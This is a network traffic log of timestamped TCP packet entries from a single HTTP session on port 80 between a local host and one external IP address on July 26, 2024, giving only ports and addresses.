Jul 26, 2024 11:27:11.952830076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.952954054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.952963114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.952999115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.953183889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.953314066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.953325033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.953335047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.953342915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.953404903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.993861914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.993953943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.993964911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994025946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.994102955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994220972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994231939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994283915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.994486094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994498014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994507074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994517088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994537115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.994575024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.994910002 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994920015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994930029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994940996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.994957924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.995002031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.995378971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995388985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995398045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995407104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995415926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995424986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995434046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995434999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.995443106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995452881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.995464087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.995485067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.995521069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.996525049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.996536016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.996545076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.996553898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.996562958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.996582985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.996618986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.017455101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017534971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017544985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017625093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.017776966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017787933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017797947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017808914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.017826080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.017863035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.018197060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018208027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018395901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.018434048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018445015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018454075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018464088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018474102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.018486023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.018840075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.019010067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019020081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019030094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019038916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019048929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019057989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019068003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019071102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.019077063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.019119024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.019119024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.020019054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020030975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020040989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020051003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020061016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020070076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020077944 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.020078897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020090103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020098925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020108938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.020109892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020133972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.020193100 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.020970106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020982981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.020992041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021001101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021011114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021019936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021028996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.021029949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021039963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021049976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.021119118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.022500038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022511005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022522926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022528887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022532940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022545099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022562981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.022593975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.022627115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022638083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022649050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022659063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022669077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.022670031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022680044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022685051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022690058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022696018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.022722960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.022788048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.023503065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023514986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023525953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023535967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023545980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023561954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.023612022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.023848057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023859024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023869038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023879051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023889065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.023900032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.023936033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.024230957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.024241924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.024334908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.035155058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035244942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035269976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035346985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.035474062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035485029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035494089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.035516024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.035556078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.035703897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.039378881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.064640045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064656973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064666986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064733028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.064858913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064872026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064882040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064891100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064902067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.064924002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.064964056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.076915026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.079406023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.142189980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142229080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142249107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142261028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142271996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142283916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142297029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142388105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.142388105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.142622948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142652035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142663956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142676115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142677069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.142688990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142703056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142709017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142714977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.142745018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.142787933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.143567085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.143579960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.143590927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.143601894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.143613100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.143630028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.143660069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.145899057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145911932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145922899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145932913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145945072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145956039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145967007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.145972967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.146008968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.167666912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167799950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167834997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167865038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.167867899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167912960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.167927980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167943001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167949915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.167957067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.167963028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.167979956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168020010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168391943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168407917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168417931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168427944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168438911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168457985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168505907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168509007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168519974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168529987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168540955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168550968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168572903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.168963909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168975115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168984890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.168993950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169003010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169007063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.169012070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169022083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169032097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169035912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.169359922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.169815063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169822931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169828892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169833899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169840097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.169895887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.169956923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170114040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170160055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170169115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170178890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170188904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170203924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170252085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170679092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170689106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170698881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170707941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170717955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170727015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170728922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170736074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170746088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.170763016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.170931101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.171571970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171583891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171592951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171602964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171612024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171618938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.171621084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171648979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171653986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.171658993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.171681881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.171715021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172437906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172456026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172470093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172477007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172502041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172518969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172585011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172610998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172611952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172629118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172640085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172645092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172648907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172662020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.172667027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172684908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.172785044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.173223972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.173239946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.173254967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.173260927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.173269987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.173285007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.173291922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.173336029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.174258947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174328089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174343109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174396992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.174396992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.174535036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174550056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174565077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174602985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.174604893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.174627066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.174654007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.183557034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183617115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183617115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.183631897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183650970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.183667898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.183840990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183856964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183871984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.183902979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.183962107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.184124947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.184252024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.210418940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210436106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210449934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210516930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.210516930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.210526943 CEST	80	49741	198.46.178.145	192.168.2.6
